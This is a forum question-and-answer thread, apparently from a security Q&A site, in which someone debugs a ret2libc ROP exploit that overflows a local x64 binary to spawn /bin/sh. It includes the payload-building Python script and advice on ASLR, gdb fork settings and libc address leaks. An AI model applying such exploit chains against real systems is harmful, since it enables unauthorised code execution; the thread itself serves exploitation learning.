Here is the code:

import struct 
buf = ""
buf += "A" * 552
buf += struct.pack('<Q', 0x401493) # pop rdi; ret
buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh
buf += struct.pack('<Q', 0x7ffff7e37e50) # system
file = open('in.txt', 'wb')

Running in gdb shows this:

[Attaching after process 5973 vfork to child process 5977]
[New inferior 2 (process 5977)]
[Detaching vfork parent process 5973 after child exec]
[Inferior 1 (process 5973) detached]
process 5977 is executing new program: /usr/bin/dash
[Attaching after process 5977 vfork to child process 5978]
[New inferior 3 (process 5978)]
[Detaching vfork parent process 5977 after child exec]
[Inferior 2 (process 5977) detached]
process 5978 is executing new program: /usr/bin/dash
[Inferior 3 (process 5978) exited normally]

Running without gdb ((cat in.txt; cat) | ./program) shows this:

zsh: broken pipe         ( cat in.txt; cat; ) | 
zsh: segmentation fault  ./program

What am I doing wrong? The ROP executes (it gets to system with "/bin/sh" in RDI) and gdb shows that it is trying to launch /usr/bin/dash (multiple times, for some reason) but no shell spawns

Kali 2021.3 x64, libc 2.31

2 Answers 2


If you have ASLR turned on (the default) for the system, those libc addresses in your exploit (e.g. 0x7ffff7e37e50) won't work. GDB will disable ASLR for the current debuggee, set by the disable-randomization setting. The addresses will be the same each time in GDB, hence your successes while debugging. You can disable this behavior with set disable-randomization off.

The reason you don't get a shell in GDB is likely because you haven't set follow-fork-mode to child, as the default behavior is to detach from child processes.

If system and /bin/sh do not have pointers in the current binary, you will need to find a way to obtain those addresses dynamically at runtime, such as using a leak to expose and calculate the base of libc in memory.

  • I used follow-fork-mode but it exits before it attaches to the shell. The addresses are correct in the current context (as it says it executes /bin/dash). First I want to make it work inside gdb, then find a way to leak addresses in order to work with ASLR. The weird thing is it worked on another VM (with the addresses adjusted for it), I don't know why it is not working on this one
    – Toma
    Commented Sep 18, 2021 at 18:22
  • @Toma what exits, GDB? Thing is, your exploit likely is already fully working Commented Sep 19, 2021 at 0:51
  • It executes /bin/dash two times (I don't know why two) then it just goes to the gdb console
    – Toma
    Commented Sep 19, 2021 at 12:04

I encountered the same issue, and my workaround is adding an exit after the sys call. Otherwise it will crash.

You could do the same as you search for the address of system in gdb.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .